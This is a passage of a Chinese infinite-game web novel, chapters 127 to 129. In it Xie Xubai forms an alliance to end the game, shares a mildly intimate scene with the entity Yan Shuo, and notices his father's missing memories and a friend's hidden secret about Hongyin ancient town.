更别提这加的可是精神力! 别看5点加成很少,要知道玩家精神力上限才100!且无限游戏对精神力相关增效限制极大,精神力一项基本随个人素质焊死,没有天赋的人苦练也得不到成效。 队友登时对着谢叙白手里的茶水眼热无比,这茶要是放在市场上,估计会让人争得头破血流! 魔术师当然也发现了这一点,所以他才会感到惊讶。 看着慢条斯理端茶浅呷的谢叙白,他在短暂迟疑后,猛地吐出一口气,坐在沙发上和人面对面:“完全看不透你,说吧,想让我帮你做什么事?” 是他想岔了,凭谢叙白的手段和实力,想对付他们不过一个眼神的功夫,完全用不着和他们弯弯绕绕。 谢叙白应当看出了他的戒备和敌意,依旧选择以礼相待。 这种如同广阔天空包容万物的宽容,在和谢叙白视线交汇的某一瞬间,甚至令魔术师有些无地自容。 谢叙白挑眉:“我找你来就不能是单纯的叙旧和感激吗?” 魔术师有些意外,对上谢叙白真挚的神情,忽然有些脸热,扭扭捏捏地坐直身体:“咳,其实我也没帮上什么忙……” 话音未落,谢叙白忽然话锋一转:“不过你说对了,我确实有事拜托你。” “……”魔术师瞬间感觉自己的一腔感动又双叒叕喂了狗。 他嘴角一抽,从善如流地让队友离开办公室在门口等待,又把直播关闭,大大咧咧地端起茶抵在嘴边:“说吧,什么事?” 谢叙白也没和他客套:“我准备终结无限游戏。” 这可真是语不惊人死不休,榔头棒喝! 魔术师差点一口茶喷出来,紧张地左右环顾,生怕系统一道雷劈下来送他们去投胎,瞪大眼睛回头猛看谢叙白:“你——你图什么?” 和玩家不一样,NPC出生在无限游戏,身份和力量基本上是游戏赋予的,搞垮游戏意味着终结人生,那和自杀有什么区别?! 魔术师瞄着谢叙白淡然的脸色,很快回过神,以对方的性子,不至于自绝生路。 可是他仍旧想不通,谢叙白图什么? 谢叙白像是能读懂他的心思,轻轻一哂:“你是不是在想,像我这种神一般的存在,力量、地位、财富名望,在无限游戏里要什么有什么,是不是吃饱了没事干才做这种自掘坟墓的蠢事?” 魔术师连忙否认:“我可没说!” 谢叙白不置可否,继续道:“还记得你曾经问过裴玉衡是我的什么人,如今我可以明确地告诉你的,他是我至关重要的亲人。” 他的语气极其平淡,可谁都能听出话里的认真。 副本通关,彩蛋揭露,系统明确告知玩家,裴玉衡被钦定为这场S级副本的诡王。 作为玩家,魔术师第一反应是忌惮,随即才后知后觉地想起谢叙白最初上门找他帮忙的事。 可想而知,如果没有谢叙白中途干涉,裴玉衡将会经历何其惨无人道的摧残。 “不止是院长,还有我的妈妈,我家的狗,我的学生,我的朋友以及其他人。”谢叙白摩挲了一下金丝眼镜,“这场游戏毫无道理地拉所有人入地狱,把他们逼至绝境,欺他们至深,你告诉我——” 谢叙白抬起眼,一字一顿地道:“我有什么不弄死它的理由?” 他是涵养极好的人,平时都是温温和和,生气也不过冷下脸,却用上如此直白无情的陈述。 直到这一刻,魔术师才胆战心惊地听出谢叙白话里蕴含的滔天愤怒,和肃杀之意。 他应该感到忌惮或更深层次的畏惧,可对上谢叙白黑白分明的眼珠子,那里面蕴藏着一种摄人心魄的力量,他仿佛看见平静的海面骤然席卷起百米海啸,汹涌冲岸惊天动地! 刹那之间,周围一切喧嚣退去,万籁俱寂,唯有心脏扑通直跳,一下快过一下,在魔术师的胸腔里横冲直撞,震响不绝。 第127章 尾声【副本《请遵循设…… 关于这场无限游戏,谢叙白整理完迄今为止得到的所有线索,得出不少猜想。 要证实这些猜想,需要进一步抽丝剥茧挖掘出游戏诞生的真相,和最初的最初造成一切悲剧的源头。 玩家群体一直在通关副本,最熟悉游戏机制也最有可能触及真相。但谢叙白暂时无法突破系统的封闭,进入游戏空间和他们正面接触。 这个时候,就需要一个内部人员帮忙搭桥。 谢叙白属意魔术师的理由很简单,对方是战力榜第五,能接触到更多的顶端玩家,进入游戏后也是先保队友百分百存活,说明重情义。 “整场游戏下来,你对外都是游戏人间的态度,但是在面对死亡和队友重伤时仍旧会出现一瞬间的沉默,那时候你在想什么?” “当系统无赖地加大游戏难度,当好友列表上的名字一个个灰暗下去,当喜欢你的忠实粉丝经历过一场副本后直接消失,当游戏将所有人都逼入绝境的时候——难道你不曾有一瞬间,产生过推翻它的想法?” 谢叙白将魔术师近乎失态的动容看在眼里,微微笑着,顺势探身,朝对方递出手:“告诉我,有没有?” 魔术师看着面前的手掌,很轻易地反应过来,如果握住它,相当于和谢叙白达成某种秘而不宣的同盟。 他忍不住抬高视线。 如今危机暂时解除,卸下重负的谢叙白和初见时的冷淡寡言截然不同。眼尾上扬,薄唇轻启,侧颊在灯光的映照下泛起一圈柔和的光晕,明镜般的瞳孔清晰地映照着他的倒影。 胸腔的心跳都快把耳膜给震碎了,这股感情到底是什么?钦佩?信服?意外?还是…… 魔术师缓缓伸出手:“我……” 结果还没等握住人,就被刺骨的寒意冻得一个激灵。 魔术师猛然垂头,盯着手里不停蠕动的眼镜腿儿,唰一下弹跳起身,脸色瞬变大力甩手:“??我艹!” 谢叙白表情微变,脸上接着一轻,金丝眼镜不翼而飞。 紧跟着肩膀传来一股无法抗拒的大力,他身体往后,和魔术师飞快拉开距离,径直撞入沙发,同时一股强悍熟悉的雄性气息笼罩在他的头顶。 魔术师抬头,猝然撞入一双幽暗深邃的眼睛。 一个男人忽然出现在谢叙白的身后,宽掌往下搭在对方的肩膀,身躯高大挺拔,冰冷的目光淡淡睨过来,宛如铜墙铁壁般无法撼动。 和男人对视的瞬间,魔术师感觉到了敌意,非常浓烈的敌意,如同被一双无形的大手狠狠地扼住咽喉,全身上下每一个细胞都胆寒地炸起。 这个男人是谁? 魔术师如临大敌地盯着对方。 凭他近S级的感知力,竟然没有一点察觉到这人的靠近! 谢叙白的视线飞快地扫过按在肩膀上的手,男人指节屈起,肌肉绷紧,爆出浅显的青筋,让他瞬间幻视草原上欲要扑杀猎物的凶兽。 谢叙白眉毛一跳,直觉魔术师可能无意触动金丝眼镜的领地意识,更担心对方会朝魔术师发难。 谁想到,男人忽然轻笑一声,若无其事地换上一副得体的营业式商业微笑:“你好。” 紧绷到剑拔弩张的气氛,似乎因这一声问候有所缓解。 随后男人压下腰,对谢叙白低声道:“系统似乎察觉到了你们的‘失踪’,我的力量还没有完全恢复,不能帮你隐瞒太久,最好长话短说。” 谢叙白不掩意外,侧过头,和男人深邃的眼睛对在一起,少顷笑道:“嗯,多谢,辛苦你了。” 他转向魔术师:“这位是宴朔,我的……至交好友。” 系统接下来会作什么妖尚未可知。因为失忆机制和洲际划分,玩家势力近乎一盘散沙,难以聚拢,魔术师无法代表玩家整体,一时半会儿也商量不出什么。 两人简单敲定联手合约,这事便算结束。 谢叙白善意提醒:“这次交流会聘请了不少行业专家,多听听他们的讲解答辩,没准会得到意想不到的收获。” 他语气诚挚:“交流会结束后就是表彰大会。当年大家竭尽全力帮忙对付傅氏集团的热情和贡献,所有人都看在眼里,事后医院给出的奖励和报酬,也一定不会让大家失望。” 一番温言细语,让魔术师如沐春风,浑身放松。 他多想和谢叙白再聊几句,奈何有男人在旁边虎视眈眈,原本的温柔乡秒变鸿门宴。 考虑到谢叙白关系网里一溜诡王级别的亲朋好友,由此,可以推断出眼前自称宴朔的男人至少也是个诡王,而且级别绝对不低。 直觉和理智告诉魔术师,别和这男人起冲突。 他呼出一口气,干脆找了个借口提前离开。 临出门前,男人突然再一次弯下身,以极其亲昵的姿势,将唇瓣贴上谢叙白的侧脸,又掀开眼帘,轻飘飘地看了他一眼。 “!”魔术师瞬间定格在门外,瞳孔急剧扩张。 犹如晴天霹雳,当头棒喝,他登时醒悟自己对谢叙白隐秘的心思竟被一个外人轻易窥破,这个人还和他抱有相同的心思,分不清是恼羞还是气愤的热意唰一下直冲天灵盖! 可不等他有所动作,门咔嚓一声,被无形的力量强势推动,严丝合缝地关闭,将魔术师最后的视线杜绝在门后。 办公室再次一静,谢叙白刚想说点什么,忽然眼前一花,被男人居高临下地压在沙发里。 他甚至都没看清楚这人怎么从背后绕到身前。 在魔术师面前,男人是高高在上,气定神闲。 等人彻底消失在视线中,屏蔽掉朝外的声音动静,他瞬间一改刚才的沉稳自若,近乎凶猛地咬住谢叙白的嘴唇,嗓音暗沉咄咄逼人:“告诉我,哪家的好友会这样亲你?” 谢叙白只是微微做出推开的动作,就被钳住手腕高举过头顶,双臂被迫大敞,锁骨清瘦优美的线条在白衬衫下半隐半露。 得不到名分就此恼怒的男人比狗难缠,谢叙白的唇齿被强势撬开,只能在急喘中接受那肆无忌惮的索取,好不容易才争取到一丝喘息的余地,艰难地吐一口气,别开脸,无奈地笑起来:“我怎么知道?” 男人把这句话当成不走心的搪塞,眼神一暗。 谢叙白与他视线交汇,半晌,眼睫谑然上挑,忽地悠悠一笑:“毕竟我只和你一个人这么亲过。” 此话一出,男人的脑海里像是轰的一声,激烈爆出漫天烟花。房间温度分分钟迅速上升回暖,连床边蔫儿吧唧的绿植都舒展枝叶,猛一下高挺不少! 再之后的十几分钟,谢叙白再也说不出来一句完整的话。 就连那些断断续续的呜咽,也被男人尽数亢奋贪婪地吞进嘴里。 不知不觉,男人强硬扣住他的手反过来与他五指交握。激烈的喘息彼此交织,谢叙白的眼尾洇开一片湿润的艳色,另一只手无处安放,只能虚虚往前,抖颤地勾住对方的后颈,汗湿软热的掌心垂下,贴在结实的脊背。 血脉偾张的肌肉硬得像块寒铁,暗藏着惊人的爆发力,让谢叙白不免有点恍惚。 宴朔的分身说话向来简洁单一,思维单线程,充斥着灵智不全的执拗。 而刚才面向魔术师,男人无论是谈吐神态还是情绪表达,都和心思深沉的正常人无疑,谢叙白甚至以为宴朔本尊附身在了眼镜上。 是他的错觉,还是……? 谢叙白闭了闭眼,一时间啼笑皆非。 ——以宴朔独断专行、绝不忍让的性情,恐怕会毫不犹豫地把魔术师从楼上丢下去,然后再压着他,将他吃得渣也不剩,哪会这么容易罢休。 一番意乱情迷,最终被一阵急促的手机铃声打断。 谢叙白从失神的状态中惊醒,视线迷离地瞥向茶几,屏幕显示着裴玉衡的来电,心脏猛地一咯噔,清醒了,手忙脚乱地撑开男人兴味正浓的脸,拿过手机接通:“喂?是我。” 然而没换得上气,小小地咳嗽了一声。 电话那头笑意盈盈的裴玉衡瞬间警觉,蹙眉担忧地问:“你的嗓子怎么哑了?感冒了?” 谢叙白连忙含糊道:“咳,是有点小感冒,可能是昨天降温受凉了。” 情急之下,他完全是扑过去的,单手撑上茶几,手臂因缺氧头晕有点发颤。 男人在后观察,探手勾住他不稳的身体。 一个天旋地转,两人姿势互换,变成男人靠后坐上沙发,谢叙白猝不及防地压在他的身上。 布料摩挲引起不大不小的动静,老父亲听在耳里,更觉古怪:“你身边怎么还有其他人……对了,是不是你要招待的那两位朋友?怎么不请人下来参加茶歇?” 自打知道谢叙白有意重建执法机构,裴玉衡就在琢磨将自己的关系网全部介绍给对方认识。 这次交流会,除去医疗领域的专家,就借由他的名头,邀请来不少各行业举足轻重的大人物。 二十多年的院长毕竟不是白当的,何况生病这一劫,即使是诡怪也无法幸免。 娱乐头条、社会焦点、创新科技、地产经济……但凡是电视里出现过的、报纸上登名过的大佬,几乎都来第一医院的VIP病房走过一遭。 执法的【规则】很难推行,只因它不是片面地局限在一方土地或某个特定的群体,是全面的、公正的,与广袤大地上的苍生黎民并行,它的推行实施,也必将撼动这片大地的所有规则。 这之中将要面临的凶险,和当初对付傅氏集团只高不低。 只要谢叙白有一丁点的犹豫,裴玉衡都会想尽办法制止。 但谢叙白没有,态度果决,撞碎南墙亦不回头,于是裴玉衡退而求次,主张帮谢叙白和这些大人物拉线。 不说一次扩大影响力,也能疏通不少关窍。 谢叙白当然明白其中干系,将老父亲的心意记在心上,弯起眸子柔声道:“我这边就快结束了,马上我们——” 男人烈性犬一般上下蹭着他的颈侧,毫无征兆地含住他的耳垂,谢叙白声音一滞,捏着手机的指尖都是哆嗦的。 他胡乱按着这头欲求不满的贪兽,强忍住战栗,状似平常:“我们一起下去。” 说完,再一次咬牙切齿地推开男人的脑袋。他错了,这人的词典里根本没有“罢休”两个字! 裴玉衡那边沉默两秒,大概是觉得奇怪又想不出缘由,没有细究,只简单地催促了一句。 挂断电话,谢叙白后知后觉地感受到嘴唇发热滚烫,一摸才发现被亲得红肿,眉梢狂跳。 见男人又见缝插针地凑上来,他忙不迭身子后仰,退避三舍:“别胡闹了,一会儿还要下去待客。” 男人扫过谢叙白水光潋滟的眼睛,终是喉结一滚,彻底安分了下来。 但也没那么安分,谢叙白去洗脸降温的功夫,男人亦步亦趋地跟在后面,目光如狼似虎,逡巡在这具俊美清瘦的身躯上。 回归现代时间线的那天晚上也是这样,谢叙白听到裴玉衡急切的脚步声从门后传来,下一秒就捂着嘴推开了他。 当时宴朔只是被迫中断进食的不满足,但后来,谢叙白对外只宣称他是好友,也不肯让家人发现他们俩人的亲密接触,让男人愈发觉得古怪,乃至于……慌张? 祂不确定是不是慌张,这是祂记忆里从来没有体会过的情绪。 怪物遵循原始的欲望冲动,很少会有含糊其辞、暧昧不清,恨不得时刻宣示自己明确且不容撼动的主权。 可人类不这样,他们想法非常多,要忌讳的东西也非常多。去做一件事,不一定是愿意,还可能是被逼无奈,走投无路。 比如纵容他的索吻,只是补偿他二十多年的苦守,所以才不愿意确定关系。 男人神情隐没在阴影里,叫人看不分明。 半晌他凑近谢叙白,低声道:“如果你想了解这场游戏,不妨直接去找【我】。” 谢叙白顿了顿,他确实有过这样的想法,但是…… 他复杂地看向男人,心中百感交集,甚至有点一言难尽。 老实说,他可以将小触手和宴朔确切地分成两个独立的个体,却无法将金丝眼镜和宴朔彻底隔绝开。无论是骨子里的霸道天性,还是说一不二的行事作风,本就同源,何谈差别? 谢叙白曾分出金色小人去安慰裴玉衡,所以他知道,本尊能够感知到精神体分身的一举一动和外界的变化。 或许宴朔分身千千万,意识分得像暴雨梨花,一时半会察觉不到他们这边的小小动静。但要是对方注意到了呢?他确定的关系,又是……和谁? 谢叙白琢磨半天,大脑都要宕机了,冰凉的水珠顺着脸颊滴在手背上,他猛然回神,听到楼下传来喧闹的人声,似浪潮一层又一层,沉甸甸地压在心头。 ——他的身上不知背负了多少次轮回的重担和多少人的期盼,这场无限游戏的背后亦不知道涌动什么凶险的暗潮。未知的敌人伺机隐于暗处,随时可能露出狰狞的爪牙。 谢叙白深深地叹出一口气:“再说吧。” 男人听出谢叙白话里的回避,嘴唇抿紧成一根凌厉的直线,唇角微微下压。 很不爽,很奇怪,很……难受。 但不能急。 二十多年的等待,才换来青年卸下防备的接纳和纵容,即使是祂也学会了一忍再忍。 说多了容易露馅。谢叙白不愿意,他也只能点到即止。 还有一件至关重要的事。 男人按捺住那些钻心的负面情绪,蠢蠢欲动:“我严格计算过,不用你成神改变体质,我可以将自己分成几十份,个体分散力量,模拟出正常人类的体能硬度,这样你的身体就能承受得住了。” 这句话后面还有一句兴致勃勃的潜台词:要不咱们今晚试一试? 谢叙白:“…………” 他耳廓噌一下涨红,扭头同手同脚地快步离开办公室。 学术交流会逐渐接近尾声,随后一场讲述二十多年前医院峥嵘史实的表彰大会,随着主持人激情的讲解声,逐渐拉开序幕。 收拾好仪容仪表的谢叙白在万众瞩目下步入会场。 他在裴玉衡的招呼下上台,接过话筒,只是平常地站在那里,嘴角缀着一抹温润得体的笑,面向底下的众人——坚定、沉静、温柔却不失锐气,以及一些更加摄人心魄的气质,便从这具看似单薄的身躯中渗透出来。 惊艳四座,一见难忘。 谢叙白脸上还戴着金丝眼镜,随着他开口,一句“大家好,我是本院的副院长,谢叙白,欢迎各位参加……”不明所以的玩家们齐刷刷震惊抬头。 卧槽?他们刚才听到了什么?! 表彰大会有序进行,所有医护人员和嘉宾在最后的总结陈词中激情鼓掌,全场氛围山呼海啸般推至高潮,在第一医院的高空徐徐回荡。 —— 奖励关卡的出现,以及参与人员得到的丰厚报酬,活跃了因全民战线开启而沉寂消极的玩家群体。 “谢叙白”的身份又经揭露,一应罗列出来,比开盲盒还要起伏跌宕,闪瞎人眼。 直播屏幕前的观众集体轰动,以“谢叙白”为话题的讨论帖,再度在玩家论坛里掀起滔天热潮,洗刷版面。 当事人则开始着手建设执法机构,除此之外,还有两件头等大事没有解决。 正在处理公务的裴玉衡闻声抬头:“你要买房?” 谢叙白手里拿着资料,笑道:“原本的出租房太小,小家伙们活动不开,我计划买个带花园的独栋别墅。时间约在下周一,上午先去给江少侠迁户口,下午去看房,晚上大家一起逛一逛西城红阴古镇新开的夜市。” 裴玉衡嗯了一声,顺势调看自己的私人资产,电脑点开购买房产和建房施工队的联络页面,手机给助理发去短信,让人现在就去物色一块以百平米为基础计量单位的地盘,场地开阔,风水必须要好。 谁想到下一秒,谢叙白眨巴眼,发出邀请:“爸,你那天有假吗,要不要和我们一起去?” 第128章 计划出游 裴玉衡僵了好一会儿,才若无其事地说:“我老了,和你们这些小年轻玩不到一起,别到时候让大家都别扭。” “怎么会?您一点也不老,风华正茂。” 谢叙白放下资料,走到裴玉衡的背后,笑意盈盈地按捏起人的肩膀:“您是不知道,自打听说您可能和我们一起出去玩,江少侠他们就开心得不得了!今天早上出门时还有意无意地找我问了一嘴,想知道您同意没同意——难道您这个做爷爷的,舍得让他们希望落空哭鼻子?” 裴玉衡略带僵硬的神色,几乎在听完后半段话的瞬间就柔软了不少,“爷爷”两字更是在他的心里打出了致命一击。 “好了好了,下周一是吧?”他不自在地轻咳一声,手已经顺势翻开了日程表,“我那天不一定能休到假,别抱太大希望。” 一个院长一个副院长,两人想要同时请假不太容易。 不过裴玉衡如今很少坐诊和接手术,日常负责医疗教研、行政管理。在没有突发情况的前提下,把需要仔细处理的要紧事稍后,提前安排代任院长协助处理各项相关工作,只出去一天,问题不大。 谢叙白知道裴玉衡基本就是答应了,笑了笑,正要拿起资料叫其他人开会,对方忽然叫住了他:“阿余。” 裴玉衡皱了下眉头,手指用力地撑着鬓角鼓起的青筋:“我之前是不是找你谈过话?关于过去的……” 就在傅倧的存在暴露,谢叙白拿着证据揭露真相的第二天,裴玉衡记得自己本来是想要和对方讨论一些……往事? 他不能确定。 不论他怎么绞尽脑汁地细想,那天的记忆、包括他准备和谢叙白郑重探讨的内容,都像是蒙上了一层薄纱,想不起来,琢磨不透。 谢叙白顿住,回头看向拧眉苦恼的裴玉衡。 梦里不知身是客。 金丝眼镜用幻象蒙骗了历史,塑造出一段虚假的过往,刺激神经,拟真触感,让裴玉衡误以为自己走投无路只能成为食尸鬼,需要吞吃傅倧的血肉来艰难求存。 当真相揭露的那一刻,所有的假象也随着这段虚假的记忆一块山崩地裂,湮灭成灰。 未曾遭受过往苦痛的袭扰,这张清隽出尘的脸上看不出一丝阴霾绝望,只有因果修正导致记忆缺失的不解。 谢叙白知道,这是暂时的。 很快,裴玉衡就会连这一丝微妙的异样也察觉不到。 就像第二天他俩相约密谈,预备整理多次轮回的线索,结果裴玉衡话没出口,就突然卡壳,仿佛脑子里一片空白,只是茫然空洞地望着他。 那一瞬间,寒意如附骨之疽蹿上谢叙白的脊背。 他猝然反应过来,裴玉衡失去了多次轮回的记忆。 他俩低估了因果修正的力量……不,或者应该说,正因为谢叙白变得强大,所以他更能感受到【游戏规则】的不可抗力。 在这场游戏中,多次轮回强化记忆、体质和能力属于卡BUG作弊,而游戏必定不会允许这种事情发生。 所以重生回小时候的谢裴两人天资卓绝,却在长大的过程中被层层打压,无法表现出当时那惊世骇俗的“天赋”。 所以,他们才会不断丢失记忆,乃至于记忆混淆,无法辨别虚实真假。 ——谢叙白印象中的家并不存在。裴玉衡误以为谢叙白年少叛逆,怄气出走,这么多年屡次在寻找对方踪迹的时候碰壁,与人频频错过。 不幸中的万幸,谢叙白一有邪神庇佑,二是已经踏上成神的路径,所以裴玉衡忘记了轮回,他没有。 也只有他没忘记。 对上裴玉衡疑惑询问的目光,谢叙白微微启唇。 不知道是不是察觉出他想要告知真相的意图,中年男人身上忽然出现肉眼可见的异常。 肤色逐渐趋近于尸变般的乌青,掺杂着斑驳血点,一双清冷有神的眼睛愈发黯淡无神,空气中弥漫着一股腐朽的气息。 对方就这样呆滞地看着谢叙白,瞳孔涣散,如同被抽干了灵魂。 谢叙白张开的嘴唇猛然闭合,嘴角微微紧绷,无声地站在原地。 冥冥中,仿佛有一个高高在上的声音在讥笑他。 ——是,这一次轮回你确实顺利拯救了裴玉衡,但在这之前数不清的轮回中,他是什么样的命运,难道你心里没有数? ——唤醒他的记忆,等同于唤醒他经年累月的绝望,他承受得了吗? ——你能这么做吗? 谢叙白忽地笑了一下:“没事,就忆苦思甜,聊了聊从前。我这次回来,本想拜访一下师公,结果您说肃整傅氏药业后就批下了他的辞职,现在他老人家还不知道在哪儿快活呢。” 他的师公,即裴玉衡的导师周潮生,卧底傅氏药业时被人揭发,遭受惨不忍睹的折磨,积怨化诡,受缚惨死之地。 后来谢叙白俩人找到民间的技艺大师,制作出一副足以乱真的傀儡,用作周潮生新的肉身。又将对方的尸身焚烧,取一部分骨灰装进古玉养魂,让周潮生随身携带,其余择一风水极好的墓地妥善安葬。 如此三番,方得以在十多年后傅氏集团彻底落网之际,让周潮生彻底挣脱咒缚,自由行走于世间。 此后周潮生离开,不知去往何处,谢叙白猜测对方可能仍旧没有放弃寻找破局的关键,但或许和裴玉衡一样,没能保住轮回时的记忆。 周潮生的墓葬在清静安宁处,如果遇到什么危险,余下的骨灰会将他的魂召回,谢叙白暂时可以放心对方的安危。 听到谢叙白状若平常的轻笑,裴玉衡一怔。 直觉告诉他,他那天火急火燎找到对方,一定不是为了这种寻常事,可对方若是不说,他也无从探究。 室内一片寂静,谢叙白说:“我去开会了。” 裴玉衡只能回答:“……去吧。” 虚空外再度传来一声得意的笑,仿佛在讥讽谢叙白的孤立无援和无可奈何。 谢叙白静静地走出办公室,将要关上门的那一刻,他的手突然停下,隔着门扉望向裴玉衡:“爸。” “如果有那么一天,我们需要对付一个敌人,强大未知,阴险狡诈,几乎不可能战胜,乃至于开战前就会让你绝望至极,痛不欲生,你会做出什么样的选择?” “……”裴玉衡和他对视在一起,本就安静的气氛忽然变得更加窒闷。 狂风呼啸撞击窗户,青天白日,隐约能听见天上传来几道凶戾的雷鸣,无形中似乎悬着一柄尖利的刀刃,刺激着在场双方的神经。 裴玉衡突然笑了:“如果那一天到来,我没有第一时间站在你的身边,与死何异?” 谢叙白也了然地笑了一声,并不意外:“是您会做出的选择。” 他俩没有再多说什么,虚空中也不再有动静传出,只有无边刺骨的冷意。 和刚才的信誓旦旦比起来,此时“冷眼相待”称得上气急败坏。 只因谢叙白已经用事实证明,真到了和无限游戏你死我活的那一刻,即便身边的人已经失去记忆,羁绊尽失,他也必定不会孤立无援。 下午开完会,谢叙白去了一趟地下基地。 警卫领他过完重重安检,来到重症隔离病房上空的观察室。一众观察员连忙起身,随后向他报告最近的情况。 “……S级重症患者【长臂】的状态比之前稳定不少,也愿意和医护人员们短暂接触,这都得益于您定期为他进行精神疏导。” “您第一次为他治疗意识世界时,曾发现一道精神屏障,当时大家都以为是【长臂】不愿敞开心扉形成的自我保护,但通过这几天的密切观察,我们发现【长臂】是存在清醒意识的,换句话说,那更像他自己特意设下的一把锁。” “至于打开锁的钥匙是什么,这把锁又是为了锁住什么东西,除了【长臂】自己,没人知道。如果贸然触碰,可能会不小心激怒他,乃至于失控狂暴。” 谢叙白点点头,透过观察窗口往下看。 原本被【长臂】破坏的生态园区得到了妥善修缮,林木丛生,绿意盎然。 瘦高的男人安安静静地坐在青草地上,双腿并拢屈起,过长的手臂一圈圈地围在他的周围,尾端的两只手掌搭上膝盖,呆呆傻傻地抬头和谢叙白对视。 失去S级的攻击性后,他就像端端正正坐在凳子上等待家长接送的小朋友,看着莫名乖巧。 旁边的观察员道:“或许是记住了您的脸,您来的时候,他总是要安分很多。” “【长臂】的病情没有进展,院长怎么说?”谢叙白问。 观察员回答:“院长什么都没说。不过他很早以前下达过一道指令,如果有人能够治疗【长臂】,那么就将【长臂】全权交托给这人。” 底下的【长臂】不知道是不是“听”到了他们的对话,原本安静放置的右手忽然暴起,蟒蛇一般直冲高空,隔着几十米的距离,啪一声重重拍打在观察窗的玻璃上! “副院长!” 几名观察员立时吓得原地起立,紧张地呼叫警卫。 谢叙白观察发现【长臂】没有袭击人的意向,摆了摆手:“没事,不用紧张。” 他垂眸,和【长臂】对视半响,也伸出手,与贴在玻璃上的手掌贴合。 这个动作似乎取悦了【长臂】,长长的手臂在半空中扭动,缓慢地比出几个连在一起的图形。 小花小树小草,还有太阳,大概是在表示友好。 在场观察员和赶到的警卫:“……?” 观察员立马反应过来,高兴地说:“快,再次监测下【长臂】的精神波动!它现在是清醒的状态,疑似恢复部分沟通能力!” 【长臂】清醒的时间又增加了,或许有一天能恢复正常人的意识思维! 在众医护人员收治监管【长臂】多年,本以为治疗无望,谁想到竟看见一丝曙光,对他们来说,这是何等巨大的惊喜。 正当这时,谢叙白的手机铃声响起,是吕向财的电话。 男人哀怨委屈的声音传来:“谢副院长哟,这是贵人多忘事,有了新欢忘旧爱啊,怎么出去玩都不带邀请我一起?要不是小一兴致勃勃地和我炫耀,我都不知道!” “怎么会忘了你?”谢叙白朝下冲【长臂】挥了挥手,以示告别,又给工作人员打了个手势,退出观察室,边笑着说,“你不是出不来吗?我前几天刚下单的运动摄像头,今天应该就到了,到时候给你全程直播。” “不说别的,我们几个可都是选房小白,选的又是自家的房子,不想带外人,没有你这位专业人士帮忙掌眼,怎么能行?” 谢叙白的嗓音流水一般清脆悦耳,调笑的话里满是不曾作伪的信赖。 没等说完,吕向财就像被抚顺了毛的猫,骨头都酥软了,喜上眉梢:“好啊!我全天都在,你随时找我。不过……你确定要去红阴古镇?” 谢叙白状似无意:“怎么了?” 吕向财仍旧大大咧咧:“没怎么,只是你不觉得红阴这个词有点瘆得慌吗,哪个好人家的景点会选用‘阴’做名字?” “这个我倒是略有耳闻,当地导游说过,红阴古镇的真名其实叫鸿音,镇上有一千斤古钟,声音浑厚绵长,可震诡驱煞。原为修建寺庙做准备,只是不知道因为什么,寺庙没能修建成功。后来突逢乱世灾祸,人丁凋零,变成荒镇。” 谢叙白说:“后来有灵异爱好者听说这个地方,经常性地跑来探险取景,当地商家看到商机,为流量噱头,将鸿音传为红阴,再后来人云亦云,假的也变成真的了。” 吕向财:“……原来是这样。” 谢叙白宛如听出他话里有话,不经意地问:“你好像不希望我们去红阴镇,难道说那里面有什么危险?” 吕向财动了动嘴唇,最终将想说的话都吞咽回去,笑道:“没有,一些小鬼而已,凭你如今的实力,应该造不成什么威胁。” 俩人又开心放松地闲聊一阵,直至通讯结束。 谢叙白的声音刚一消失,吕向财懒散勾起的嘴角倏然抿直,眼神死寂沉默,无声地看着屏幕上的通讯记录。 没事的。 事情已经过去很多年了。 谢叙白应该不会发现。 “红阴古镇啊,竟然还能摇身一变,成为旅游景点,呵。” 吕向财往后一靠,闭了闭眼,“早知道……” 早知道,就该把那个地方全烧了。 第129章 戏票 挂断电话,谢叙白的神情隐于阴影中,令人瞧不分明,半晌,他默然无声地来到一处寂静的角落。 走廊上空无一人,银白墙面反射出森冷的粼粼微光。 谢叙白从口袋里拿出一张戏票,很薄,纸面泛黄,仿佛一捏就碎。 正上方用朱红行楷洒意书写着“红阴戏剧”四个大字,而后用一条波浪形横杠隔开,居中位置板板正正地写着“堂座”,左右两边分别对称地写着“每票一人”“过场作废”,最底下写着“7排15号”,背面盖着一个蓝色的圆形印戳。 很明显,这是一张剧院的戏票,质地充斥着一股颇具年代感的粗糙,像上个世纪民国时期的产物,即使放在博物馆展览也毫不突兀。 它又是怎么出现的? 谢叙白稍作回忆,凭他的精神力强度,一切记忆都如探囊取物,几乎瞬间就想起前不久去拜访吕向财的经过。 那是他回到第一医院的第三天。 处理傅倧的关押问题,整改医院规则,公布真相,安抚惶惶不安的医护人员……各种要紧事都堆积在了一起,让谢叙白无暇他顾。 因为裴玉衡突然失去轮回记忆,谢叙白担心他的身体出状况,待一切事情初步摆平后,特意在医院留宿一天,确认对方无恙后才离开。 期间,他托人给家里和吕向财分别捎去平安的口信,但吕向财那边不知道受到了什么惊吓,夺命连环般给他打来十几通电话。 而他的手机不知道是穿越的时候损坏了,还是受到磁场影响,竟没有动静。 最终,还是医院的接听员从公共电话那帮忙转接通讯,才让他接到吕向财的电话。 一接通,电话那头只能听见粗重的喘息声,起伏不定,许久没说出一个字。 他率先询问了两句,少顷才听到吕向财似乎漫不经心地开了口,只是压不住声线中的颤音:“吓死我了,你一直不接电话,我还以为你出了什么事。” 自那一刻起,吕向财的心态似乎发生了转变。 本来谢叙白准备先回家一趟,见过江凯乐和小家伙们,好让他们安心。 听出吕向财的异样,又有裴玉衡的事件在前,他心中泛起隐忧,连忙改道去往盛天集团。 吕向财对他的到来惊讶至极,直接快步冲到门口来迎接,嘴角往上勾起清晰明了的弧度,惊喜两字几乎写在那张多情生辉的俊脸上。 然后吕向财为谢叙白接风洗尘,屏退其他人,来到会谈室,听他讲述这段时间惊心动魄的经历。 时不时为谢叙白遇到的危险屏住呼吸,仿佛身临其境般提心吊胆、凝重出神,时不时为谢叙白的劫后余生大松一口气,庆幸地露笑。 吕向财看起来和以往没什么两样。 谢叙白不认为从对方身上感受到的异样是假象,但昼夜不分地连轴转,他的神经紧绷到了极致,困乏疲惫如潮水般涌上,一时间也忍不住在和挚友如常的叙旧闲聊中逐渐放松。 吕向财敏锐地看出他的疲倦,立马打住话茬,提议让谢叙白在这里休息一下。 为了方便他们两人商量谈话,吕向财特意在自己的楼层里打造了这间隔音极好的会谈室。 但说起是会谈室,更像兄弟俩的秘密基地,布置温馨休闲,桌上摆着各种复古和新一代的游戏机,旁边是定制装修的家庭影院,有立体环绕音箱、全是休闲小说的书柜和装着各种手办的展示架。 隔壁就是专门为谢叙白留备的卧室。 谢叙白没有留下来,怕回去晚了,江凯乐他们会担心。 吕向财只好将他送到门口,依依惜别,用柔和的眼神目送他离开。 